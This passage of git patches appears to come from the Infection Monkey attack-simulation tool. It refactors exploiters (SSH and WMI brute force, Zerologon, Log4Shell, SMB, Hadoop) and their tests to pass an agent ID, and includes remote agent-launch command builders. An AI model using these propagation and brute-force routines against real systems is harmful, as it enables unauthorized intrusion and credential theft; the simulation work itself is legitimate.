-1,7 +1,7 @@ from typing import Dict, Sequence, Type from common.event_queue import IAgentEventQueue -from common.types import Event +from common.types import AgentID, Event from infection_monkey.i_puppet import TargetHost from infection_monkey.network import TCPPortSelector @@ -21,11 +21,13 @@ class Inner: def __init__( self, exploit_class: Type[HostExploiter], + agent_id: AgentID, event_queue: IAgentEventQueue, agent_binary_repository: IAgentBinaryRepository, tcp_port_selector: TCPPortSelector, otp_provider: IAgentOTPProvider, ): + self._agent_id = agent_id self._exploit_class = exploit_class self._event_queue = event_queue self._agent_binary_repository = agent_binary_repository @@ -42,6 +44,7 @@ def run( ): exploiter = self._exploit_class() return exploiter.exploit_host( + self._agent_id, host, servers, current_depth, @@ -55,11 +58,13 @@ def run( def __init__( self, + agent_id: AgentID, event_queue: IAgentEventQueue, agent_binary_repository: IAgentBinaryRepository, tcp_port_selector: TCPPortSelector, otp_provider: IAgentOTPProvider, ): + self._agent_id = agent_id self._event_queue = event_queue self._agent_binary_repository = agent_binary_repository self._tcp_port_selector = tcp_port_selector @@ -68,6 +73,7 @@ def __init__( def wrap(self, exploit_class: Type[HostExploiter]): return ExploiterWrapper.Inner( exploit_class, + self._agent_id, self._event_queue, self._agent_binary_repository, self._tcp_port_selector, diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 6ca87e4dbd1..190de0b437d 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -425,7 +425,11 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: puppet.load_plugin(AgentPluginType.FINGERPRINTER, "ssh", SSHFingerprinter()) exploit_wrapper = ExploiterWrapper( - self._agent_event_queue, agent_binary_repository, self._tcp_port_selector, otp_provider + self._agent_id, + self._agent_event_queue, + agent_binary_repository, + self._tcp_port_selector, + otp_provider, ) puppet.load_plugin( From 145e33812f9f3b07d6df6b3526461bd16ee5e2d6 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 17:31:22 +0530 Subject: [PATCH 0898/1338] Agent: Don't call 'get_agent_id()' in HostExploiter when publishing events --- monkey/infection_monkey/exploit/HostExploiter.py | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/exploit/HostExploiter.py b/monkey/infection_monkey/exploit/HostExploiter.py index 683c3e24738..3e62039d22b 100644 --- a/monkey/infection_monkey/exploit/HostExploiter.py +++ b/monkey/infection_monkey/exploit/HostExploiter.py @@ -11,7 +11,6 @@ from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.i_puppet import ExploiterResultData, TargetHost from infection_monkey.network import TCPPortSelector -from infection_monkey.utils.ids import get_agent_id from . import IAgentBinaryRepository @@ -143,7 +142,7 @@ def _publish_exploitation_event( error_message: str = "", ): exploitation_event = ExploitationEvent( - source=get_agent_id(), + source=self.agent_id, target=self.host.ip, success=success, exploiter_name=self.__class__.__name__, @@ -161,7 +160,7 @@ def _publish_propagation_event( error_message: str = "", ): propagation_event = PropagationEvent( - source=get_agent_id(), + source=self.agent_id, target=self.host.ip, success=success, exploiter_name=self.__class__.__name__, From 83c2a98dfb8dd211eab30029e98d2a8b7b41e950 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 17:36:51 +0530 Subject: [PATCH 0899/1338] Agent: Don't use 'get_agent_id()' in SSH and Zerologon exploiters --- monkey/infection_monkey/exploit/sshexec.py | 4 +--- monkey/infection_monkey/exploit/zerologon.py | 5 ++--- 2 files changed, 3 insertions(+), 6 deletions(-) diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index a023e14c092..590474b5c1a 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -29,7 +29,6 @@ from infection_monkey.network.tools import check_tcp_port from infection_monkey.utils.brute_force import generate_identity_secret_pairs from infection_monkey.utils.commands import build_monkey_commandline -from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -141,7 +140,6 @@ def exploit_with_login_creds(self, port: NetworkPort) -> paramiko.SSHClient: ) for user, current_password in credentials_iterator: - ssh = paramiko.SSHClient() ssh.set_missing_host_key_policy(paramiko.WarningPolicy()) @@ -264,7 +262,7 @@ def _is_port_open(self, ip: IPv4Address, port: NetworkPort) -> bool: is_open, _ = check_tcp_port(ip, port) status = PortStatus.OPEN if is_open else PortStatus.CLOSED self.agent_event_queue.publish( - TCPScanEvent(source=get_agent_id(), target=ip, ports={port: status}) + TCPScanEvent(source=self.agent_id, target=ip, ports={port: status}) ) return is_open diff --git a/monkey/infection_monkey/exploit/zerologon.py b/monkey/infection_monkey/exploit/zerologon.py index 68b6036a40e..267f47ec0ad 100644 --- a/monkey/infection_monkey/exploit/zerologon.py +++ b/monkey/infection_monkey/exploit/zerologon.py @@ -31,7 +31,6 @@ from infection_monkey.exploit.zerologon_utils.wmiexec import Wmiexec from infection_monkey.i_puppet import ExploiterResultData from infection_monkey.utils.capture_output import StdoutCapture -from infection_monkey.utils.ids import get_agent_id from infection_monkey.utils.threading import interruptible_iter logger = logging.getLogger(__name__) @@ -399,7 +398,7 @@ def _publish_credentials_stolen_event( self, extracted_credentials: Sequence[Credentials] ) -> None: credentials_stolen_event = CredentialsStolenEvent( - source=get_agent_id(), + source=self.agent_id, target=self.host.ip, tags=CREDENTIALS_STOLEN_EVENT_TAGS, stolen_credentials=extracted_credentials, @@ -578,7 +577,7 @@ def assess_restoration_attempt_result(self, restoration_attempt_result) -> bool: def _publish_password_restoration_event(self, success: bool): password_restoration_event = PasswordRestorationEvent( - source=get_agent_id(), + source=self.agent_id, target=self.host.ip, tags=PASSWORD_RESTORATION_EVENT_TAGS, success=success, From b559cc28489c4ab734d420cc9b455840e48f57d1 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 17:38:41 +0530 Subject: [PATCH 0900/1338] Agent: Don't use 'get_agent_id()' in build_monkey_commandline() --- monkey/infection_monkey/utils/commands.py | 6 ++---- 1 file changed, 2 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/utils/commands.py b/monkey/infection_monkey/utils/commands.py index 38e011c6e31..c1416d7a480 100644 --- a/monkey/infection_monkey/utils/commands.py +++ b/monkey/infection_monkey/utils/commands.py @@ -4,7 +4,6 @@ from common.types import AgentID from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_LINUX, AGENT_BINARY_PATH_WIN64 from infection_monkey.model import CMD_CARRY_OUT, CMD_EXE, MONKEY_ARG -from infection_monkey.utils.ids import get_agent_id # Dropper target paths DROPPER_TARGET_PATH_LINUX = AGENT_BINARY_PATH_LINUX @@ -12,12 +11,11 @@ def build_monkey_commandline( - servers: List[str], depth: int, location: Union[str, PurePath, None] = None + agent_id: AgentID, servers: List[str], depth: int, location: Union[str, PurePath, None] = None ) -> str: - return " " + " ".join( build_monkey_commandline_explicitly( - get_agent_id(), + agent_id, servers, depth, location, From 18fb13540b817c6e62fec52fad77885c97a000b4 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 17:50:23 +0530 Subject: [PATCH 0901/1338] Agent: Modify build_monkey_commandline() to accept Agent ID --- monkey/infection_monkey/exploit/log4shell.py | 5 +++-- monkey/infection_monkey/exploit/mssqlexec.py | 2 +- monkey/infection_monkey/exploit/powershell.py | 13 +++++++------ monkey/infection_monkey/exploit/sshexec.py | 2 +- monkey/infection_monkey/exploit/web_rce.py | 6 ++++-- monkey/infection_monkey/exploit/wmiexec.py | 5 ++--- 6 files changed, 18 insertions(+), 15 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index 74e894ac590..5e0cbfcc098 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -136,7 +136,9 @@ def _build_ldap_payload(self) -> str: def _build_command(self, path: PurePath, http_path) -> str: # Build command to execute - monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1, location=path) + monkey_cmd = build_monkey_commandline( + self.agent_id, self.servers, self.current_depth + 1, location=path + ) if OperatingSystem.WINDOWS == self.host.operating_system: base_command = LOG4SHELL_WINDOWS_COMMAND else: @@ -161,7 +163,6 @@ def exploit(self, url, command) -> None: for exploit in get_log4shell_service_exploiters(): intr_ports = interruptible_iter(self._open_ports, self.interrupt) for port in intr_ports: - logger.debug( f'Attempting Log4Shell exploit on for service "{exploit.service_name}"' f"on port {port}" diff --git a/monkey/infection_monkey/exploit/mssqlexec.py b/monkey/infection_monkey/exploit/mssqlexec.py index 5158032fe8b..4fd162914c4 100644 --- a/monkey/infection_monkey/exploit/mssqlexec.py +++ b/monkey/infection_monkey/exploit/mssqlexec.py @@ -205,7 +205,7 @@ def _run_agent(self, agent_path_on_victim: PureWindowsPath): def _build_agent_launch_command(self, agent_path_on_victim: PureWindowsPath) -> str: agent_args = build_monkey_commandline( - self.servers, self.current_depth + 1, str(agent_path_on_victim) + self.agent_id, self.servers, self.current_depth + 1, str(agent_path_on_victim) ) return f"{agent_path_on_victim} {DROPPER_ARG} {agent_args}" diff --git a/monkey/infection_monkey/exploit/powershell.py b/monkey/infection_monkey/exploit/powershell.py index b302f7f197c..93eb92cdc53 100644 --- a/monkey/infection_monkey/exploit/powershell.py +++ b/monkey/infection_monkey/exploit/powershell.py @@ -9,7 +9,7 @@ T1105_ATTACK_TECHNIQUE_TAG, T1110_ATTACK_TECHNIQUE_TAG, ) -from common.types import NetworkPort, PortStatus +from common.types import AgentID, NetworkPort, PortStatus from common.utils.environment import is_windows_os from infection_monkey.exploit.HostExploiter import HostExploiter from infection_monkey.exploit.powershell_utils.auth_options import AuthOptions, get_auth_options @@ -127,8 +127,7 @@ def _authenticate_via_brute_force( self, credentials: List[Credentials], auth_options: List[AuthOptions] ) -> Optional[IPowerShellClient]: creds_opts_pairs = filter(self.check_ssl_setting_is_valid, zip(credentials, auth_options)) - for (creds, opts) in interruptible_iter(creds_opts_pairs, self.interrupt): - + for creds, opts in interruptible_iter(creds_opts_pairs, self.interrupt): try: client = PowerShellClient(str(self.host.ip), creds, opts) connect_timestamp = time() @@ -191,7 +190,6 @@ def _execute_monkey_agent_on_victim(self): ) def _copy_monkey_binary_to_victim(self, monkey_path_on_victim: PurePath): - temp_monkey_binary_filepath = Path(f"./monkey_temp_bin_{get_random_file_suffix()}") self._create_local_agent_file(temp_monkey_binary_filepath) @@ -212,7 +210,7 @@ def _create_local_agent_file(self, binary_path): def _run_monkey_executable_on_victim(self, executable_path): monkey_execution_command = build_monkey_execution_command( - self.servers, self.current_depth + 1, executable_path + self.agent_id, self.servers, self.current_depth + 1, executable_path ) logger.info(f"Attempting to execute the monkey agent on remote host " f"{self.host.ip}") @@ -220,8 +218,11 @@ def _run_monkey_executable_on_victim(self, executable_path): self._client.execute_cmd_as_detached_process(monkey_execution_command) -def build_monkey_execution_command(servers: List[str], depth: int, executable_path: str) -> str: +def build_monkey_execution_command( + agent_id: AgentID, servers: List[str], depth: int, executable_path: str +) -> str: monkey_params = build_monkey_commandline( + agent_id, servers, depth=depth, location=executable_path, diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py index 590474b5c1a..155c8477259 100644 --- a/monkey/infection_monkey/exploit/sshexec.py +++ b/monkey/infection_monkey/exploit/sshexec.py @@ -237,7 +237,7 @@ def _propagate(self, ssh: paramiko.SSHClient): try: cmdline = f"{monkey_path_on_victim} {MONKEY_ARG}" - cmdline += build_monkey_commandline(self.servers, self.current_depth + 1) + cmdline += build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) cmdline += " > /dev/null 2>&1 &" timestamp = time() ssh.exec_command(cmdline, timeout=SSH_EXEC_TIMEOUT) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index d08a80f687c..a92739711fa 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -352,7 +352,7 @@ def execute_remote_monkey(self, url, path, dropper=False): if default_path is False: return False monkey_cmd = build_monkey_commandline( - self.servers, self.current_depth + 1, default_path + self.agent_id, self.servers, self.current_depth + 1, default_path ) command = RUN_MONKEY % { "monkey_path": path, @@ -360,7 +360,9 @@ def execute_remote_monkey(self, url, path, dropper=False): "parameters": monkey_cmd, } else: - monkey_cmd = build_monkey_commandline(self.servers, self.current_depth + 1) + monkey_cmd = build_monkey_commandline( + self.agent_id, self.servers, self.current_depth + 1 + ) command = RUN_MONKEY % { "monkey_path": path, "monkey_type": MONKEY_ARG, diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py index e908d85289f..48b69a8b6ab 100644 --- a/monkey/infection_monkey/exploit/wmiexec.py +++ b/monkey/infection_monkey/exploit/wmiexec.py @@ -39,7 +39,6 @@ class WmiExploiter(HostExploiter): @WmiTools.impacket_user @WmiTools.dcom_wrap def _exploit_host(self) -> ExploiterResultData: - creds = generate_brute_force_combinations(self.options["credentials"]) intp_creds = interruptible_iter( creds, @@ -49,7 +48,6 @@ def _exploit_host(self) -> ExploiterResultData: ) for user, password, lm_hash, ntlm_hash in intp_creds: - creds_for_log = get_credential_string([user, password, lm_hash, ntlm_hash]) logger.debug(f"Attempting to connect to {self.host} using WMI with {creds_for_log}") @@ -130,6 +128,7 @@ def _exploit_host(self) -> ExploiterResultData: cmdline = DROPPER_CMDLINE_WINDOWS % { "dropper_path": remote_full_path } + build_monkey_commandline( + self.agent_id, self.servers, self.current_depth + 1, DROPPER_TARGET_PATH_WIN64, @@ -137,7 +136,7 @@ def _exploit_host(self) -> ExploiterResultData: else: cmdline = MONKEY_CMDLINE_WINDOWS % { "monkey_path": remote_full_path - } + build_monkey_commandline(self.servers, self.current_depth + 1) + } + build_monkey_commandline(self.agent_id, self.servers, self.current_depth + 1) # execute the remote monkey result = WmiTools.get_object(wmi_connection, "Win32_Process").Create( From 35308be284205700d9a08e0829915f8c8484e427 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 18:05:58 +0530 Subject: [PATCH 0902/1338] Hadoop: Modify command builder to accept and use Agent ID --- .../exploiters/hadoop/src/hadoop_command_builder.py | 4 +++- .../exploiters/hadoop/src/hadoop_exploiter.py | 10 ++++++++-- monkey/agent_plugins/exploiters/hadoop/src/plugin.py | 4 +++- 3 files changed, 14 insertions(+), 4 deletions(-) diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py index c6a33d17aac..1cefa96bfea 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_command_builder.py @@ -1,6 +1,7 @@ from typing import Sequence from common import OperatingSystem +from common.types import AgentID from infection_monkey.exploit.tools.helpers import get_agent_dst_path from infection_monkey.i_puppet import TargetHost from infection_monkey.model import MONKEY_ARG @@ -39,12 +40,13 @@ def build_hadoop_command( + agent_id: AgentID, target_host: TargetHost, servers: Sequence[str], current_depth: int, agent_download_url: str, ) -> str: - monkey_cmd = build_monkey_commandline(servers, current_depth + 1) + monkey_cmd = build_monkey_commandline(agent_id, servers, current_depth + 1) if OperatingSystem.WINDOWS == target_host.operating_system: base_command = HADOOP_WINDOWS_COMMAND_TEMPLATE diff --git a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py index f9626d3e706..82dfdc3865e 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/hadoop_exploiter.py @@ -1,7 +1,7 @@ import logging from typing import Callable, Sequence -from common.types import Event, NetworkPort, NetworkService, PortStatus +from common.types import AgentID, Event, NetworkPort, NetworkService, PortStatus from infection_monkey.exploit.tools import HTTPBytesServer from infection_monkey.exploit.tools.web_tools import build_urls from infection_monkey.i_puppet import ExploiterResultData, TargetHost @@ -19,9 +19,11 @@ class HadoopExploiter: def __init__( self, + agent_id: AgentID, hadoop_exploit_client: HadoopExploitClient, start_agent_binary_server: AgentBinaryServerFactory, ): + self._agent_id = agent_id self._hadoop_exploit_client = hadoop_exploit_client self._start_agent_binary_server = start_agent_binary_server @@ -54,7 +56,11 @@ def exploit_host( return ExploiterResultData(error_message=msg) command = build_hadoop_command( - target_host, servers, current_depth, agent_binary_http_server.download_url + self._agent_id, + target_host, + servers, + current_depth, + agent_binary_http_server.download_url, ) logger.debug(f"Command: {command}") diff --git a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py index ec860d53ad5..057d5a03fc5 100644 --- a/monkey/agent_plugins/exploiters/hadoop/src/plugin.py +++ b/monkey/agent_plugins/exploiters/hadoop/src/plugin.py @@ -47,7 +47,9 @@ def __init__( tcp_port_selector=tcp_port_selector, ) - self._hadoop_exploiter = HadoopExploiter(hadoop_exploit_client, agent_binary_server_factory) + self._hadoop_exploiter = HadoopExploiter( + agent_id, hadoop_exploit_client, agent_binary_server_factory + ) def run( self, From dc674337c83d79bdb652b163bd072ca98544c127 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 18:11:34 +0530 Subject: [PATCH 0903/1338] SMB: Modify command builder to accept and use Agent ID --- monkey/agent_plugins/exploiters/smb/src/plugin.py | 1 + .../agent_plugins/exploiters/smb/src/smb_command_builder.py | 5 ++++- 2 files changed, 5 insertions(+), 1 deletion(-) diff --git a/monkey/agent_plugins/exploiters/smb/src/plugin.py b/monkey/agent_plugins/exploiters/smb/src/plugin.py index 6291097a3fa..cf5b76bd260 100644 --- a/monkey/agent_plugins/exploiters/smb/src/plugin.py +++ b/monkey/agent_plugins/exploiters/smb/src/plugin.py @@ -85,6 +85,7 @@ def run( command_builder = partial( build_smb_command, + self._agent_id, servers, current_depth, remote_agent_binary_destination_path=get_agent_dst_path(host), diff --git a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py index 2e2ad8228c4..b2308765c93 100644 --- a/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py +++ b/monkey/agent_plugins/exploiters/smb/src/smb_command_builder.py @@ -3,12 +3,14 @@ from common import OperatingSystem from common.common_consts import AGENT_OTP_ENVIRONMENT_VARIABLE +from common.types import AgentID from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import CMD_PREFIX, DROPPER_ARG, MONKEY_ARG, SET_OTP_WINDOWS from infection_monkey.utils.commands import build_monkey_commandline def build_smb_command( + agent_id: AgentID, servers: Sequence[str], current_depth: int, operating_system: OperatingSystem, @@ -31,6 +33,7 @@ def build_smb_command( cmdline = ( f"{CMD_PREFIX} {otp} start cmd /c {str(remote_agent_binary_full_path)} {DROPPER_ARG}" + build_monkey_commandline( + agent_id, servers, current_depth + 1, str(remote_agent_binary_destination_path), @@ -39,7 +42,7 @@ def build_smb_command( else: cmdline = ( f"{CMD_PREFIX} {otp} start cmd /c {str(remote_agent_binary_full_path)} {MONKEY_ARG}" - + build_monkey_commandline(servers, current_depth + 1) + + build_monkey_commandline(agent_id, servers, current_depth + 1) ) return cmdline From eac038dccc76cbd48358ca38fbbf56c998f55501 Mon Sep 17 00:00:00 2001 From: Shreya Malviya Date: Mon, 27 Mar 2023 18:44:13 +0530 Subject: [PATCH 0904/1338] UT: Fix tests to work with new Agent ID logic --- .../hadoop/test_hadoop_exploiter.py | 4 +++- .../smb/test_smb_command_builder.py | 14 +++++++++++- .../exploit/test_powershell.py | 5 ++++- .../exploit/test_zerologon.py | 2 ++ .../infection_monkey/utils/test_commands.py | 22 +++++++++++++------ 5 files changed, 37 insertions(+), 10 deletions(-) diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py index 10bf6b1498e..77663416e42 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/hadoop/test_hadoop_exploiter.py @@ -18,7 +18,9 @@ TargetHost, TargetHostPorts, ) +from infection_monkey.utils.ids import get_agent_id +AGENT_ID = get_agent_id() TARGET_IP = IPv4Address("1.1.1.1") SERVERS = ["10.10.10.10"] DOWNLOAD_URL = "http://download.me" @@ -83,7 +85,7 @@ def hadoop_exploiter( mock_hadoop_exploit_client: HadoopExploitClient, mock_start_agent_binary_server: Callable[[TargetHost], HTTPBytesServer], ) -> HadoopExploiter: - return HadoopExploiter(mock_hadoop_exploit_client, mock_start_agent_binary_server) + return HadoopExploiter(AGENT_ID, mock_hadoop_exploit_client, mock_start_agent_binary_server) @pytest.fixture diff --git a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py index 4918646ad69..fdc6022dd69 100644 --- a/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py +++ b/monkey/tests/unit_tests/agent_plugins/exploiters/smb/test_smb_command_builder.py @@ -7,10 +7,12 @@ from common import OperatingSystem from infection_monkey.exploit import IAgentOTPProvider from infection_monkey.model import DROPPER_ARG, MONKEY_ARG +from infection_monkey.utils.ids import get_agent_id DROPPER_EXE_PATH = PureWindowsPath("C:\\dropper.exe") AGENT_EXE_PATH = PureWindowsPath("C:\\agent.exe") OTP = "123456" +AGENT_ID = get_agent_id() @pytest.fixture @@ -23,6 +25,7 @@ def otp_provider() -> IAgentOTPProvider: def test_exception_raised_for_linux(otp_provider: IAgentOTPProvider): with pytest.raises(Exception): build_smb_command( + AGENT_ID, ["127.0.0.1"], 2, OperatingSystem.LINUX, @@ -46,7 +49,13 @@ def test_servers( ): servers = ["127.0.0.1", "192.168.1.100", "172.1.2.3"] command = build_smb_command( - servers, 2, OperatingSystem.WINDOWS, DROPPER_EXE_PATH, AGENT_EXE_PATH, otp_provider + AGENT_ID, + servers, + 2, + OperatingSystem.WINDOWS, + DROPPER_EXE_PATH, + AGENT_EXE_PATH, + otp_provider, ) for s in servers: @@ -55,6 +64,7 @@ def test_servers( def test_dropper_used(otp_provider: IAgentOTPProvider): command = build_smb_command( + AGENT_ID, ["127.0.0.1"], 2, OperatingSystem.WINDOWS, @@ -68,6 +78,7 @@ def test_dropper_used(otp_provider: IAgentOTPProvider): def test_monkey_used(otp_provider: IAgentOTPProvider): command = build_smb_command( + AGENT_ID, ["127.0.0.1"], 2, OperatingSystem.WINDOWS, @@ -81,6 +92,7 @@ def test_monkey_used(otp_provider: IAgentOTPProvider): def test_otp_used(otp_provider: IAgentOTPProvider): command = build_smb_command( + AGENT_ID, ["127.0.0.1"], 2, OperatingSystem.WINDOWS, diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py index 679d175959d..babdc61d016 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_powershell.py @@ -7,6 +7,7 @@ from infection_monkey.exploit import powershell from infection_monkey.exploit.tools.helpers import AGENT_BINARY_PATH_WIN64 +from infection_monkey.utils.ids import get_agent_id # Use the path_win32api_get_user_name fixture for all tests in this module pytestmark = pytest.mark.usefixtures("patch_win32api_get_user_name") @@ -18,6 +19,7 @@ bogus_servers = ["1.1.1.1:5000", "2.2.2.2:5007"] VICTIM_IP = IPv4Address("10.10.10.1") +AGENT_ID = get_agent_id() mock_agent_binary_repository = MagicMock() @@ -53,6 +55,7 @@ def powershell_arguments(host_with_ip_address): }, } arguments = { + "agent_id": AGENT_ID, "host": host_with_ip_address, "servers": bogus_servers, "options": options, @@ -186,7 +189,7 @@ def test_build_monkey_execution_command(): depth = 2 executable_path = "/tmp/test-monkey" - cmd = powershell.build_monkey_execution_command(bogus_servers, depth, executable_path) + cmd = powershell.build_monkey_execution_command(AGENT_ID, bogus_servers, depth, executable_path) assert f"-d {depth}" in cmd assert executable_path in cmd diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py index 9b31e9f913a..45f1b25e693 100644 --- a/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py +++ b/monkey/tests/unit_tests/infection_monkey/exploit/test_zerologon.py @@ -6,6 +6,7 @@ from common.agent_events import ExploitationEvent, PasswordRestorationEvent from common.event_queue import IAgentEventQueue from infection_monkey.i_puppet import TargetHost +from infection_monkey.utils.ids import get_agent_id NETBIOS_NAME = "NetBIOS Name" @@ -32,6 +33,7 @@ def mock_report_login_attempt(**kwargs): monkeypatch.setattr(obj, "report_login_attempt", mock_report_login_attempt) monkeypatch.setattr(obj, "host", TargetHost(ip=IPv4Address("1.1.1.1"))) monkeypatch.setattr(obj, "agent_event_queue", mock_agent_event_queue) + monkeypatch.setattr(obj, "agent_id", get_agent_id()) return obj diff --git a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py index ac2318852e9..e0f9504c516 100644 --- a/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py +++ b/monkey/tests/unit_tests/infection_monkey/utils/test_commands.py @@ -9,6 +9,11 @@ from infection_monkey.utils.ids import get_agent_id +@pytest.fixture +def agent_id(): + return get_agent_id() + + def test_build_monkey_commandline_explicitly_arguments(): expected = [ "-p", @@ -73,19 +78,22 @@ def test_get_monkey_commandline_linux(): assert expected == actual -def test_build_monkey_commandline(): +def test_build_monkey_commandline(agent_id): servers = ["10.10.10.10:5000", "11.11.11.11:5007"] - expected = f" -p {get_agent_id()} -s 10.10.10.10:5000,11.11.11.11:5007 -d 0 -l /home/bla" - actual = build_monkey_commandline(servers=servers, depth=0, location="/home/bla") + expected = f" -p {agent_id} -s 10.10.10.10:5000,11.11.11.11:5007 -d 0 -l /home/bla" + actual = build_monkey_commandline( + agent_id=agent_id, servers=servers, depth=0, location="/home/bla" + ) assert expected == actual @pytest.mark.parametrize("servers", [None, []]) -def test_build_monkey_commandline_empty_servers(servers): - - expected = f" -p {get_agent_id()} -d 0 -l /home/bla" - actual = build_monkey_commandline(servers, depth=0, location="/home/bla") +def test_build_monkey_commandline_empty_servers(agent_id, servers): + expected = f" -p {agent_id} -d 0 -l /home/bla" + actual = build_monkey_commandline( + agent_id=agent_id, servers=servers, depth=0, location="/home/bla" + ) assert expected == actual From 45e3680822e81ff1bc86643ccdf89d9af1c06612 Mon Sep 17 00:00:00 2001 From: ordabach Date: Mon, 27 Mar 2023 08:36:15 +0000 Subject: [PATCH 0905/1338] UI: Use "pre-wrap" whiteSpace CSS to format manual run command Issue #3115 PR #3152 --- .../src/components/pages/RunMonkeyPage/utils/CommandDisplay.js | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js index ff2f877dd1a..e762e1ea4ac 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/RunMonkeyPage/utils/CommandDisplay.js @@ -48,7 +48,7 @@ export default function commandDisplay(props) { - {selectedCommand.command} + {selectedCommand.command} From fe7e39c28c3ef63eb7fc8f60b1f61bb284cc2bb9 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 28 Mar 2023 08:26:44 -0400 Subject: [PATCH 0906/1338] Changelog: Add an entry for #3115 --- CHANGELOG.md | 1 + 1 file changed, 1 insertion(+) diff --git a/CHANGELOG.md b/CHANGELOG.md index a806955a6eb..756fa0cdee7 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -21,6 +21,7 @@ Changelog](https://keepachangelog.com/en/1.0.0/). - Configuration order not preserved in debugging output. #2860 - A bug in the Hadoop exploiter that resulted in speculative execution of multiple agents. #2758 +- Formatting of the manual run command when copy/pasting from the web UI. #3115 ### Security - Fixed plaintext private key in SSHKey pair list in UI. #2950 From 887c9ce22365ca6d70f2a5d02c82431896322734 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Fri, 24 Mar 2023 17:08:46 +0000 Subject: [PATCH 0907/1338] Agent: Pass Agent ID to the scanners Issue #3119 PR #3156 --- monkey/infection_monkey/monkey.py | 4 +++- .../network_scanning/ping_scanner.py | 18 +++++++++------- .../network_scanning/tcp_scanner.py | 16 ++++++++------ monkey/infection_monkey/puppet/puppet.py | 10 ++++++--- .../network_scanning/test_ping_scanner.py | 21 ++++++++++--------- .../network_scanning/test_tcp_scanner.py | 14 ++++++------- .../infection_monkey/puppet/test_puppet.py | 2 ++ 7 files changed, 51 insertions(+), 34 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 190de0b437d..2589fd8c235 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -406,7 +406,9 @@ def _build_puppet(self, operating_system: OperatingSystem) -> IPuppet: plugin_compatability_verifier = PluginCompatabilityVerifier( self._island_api_client, HARD_CODED_EXPLOITER_MANIFESTS ) - puppet = Puppet(self._agent_event_queue, plugin_registry, 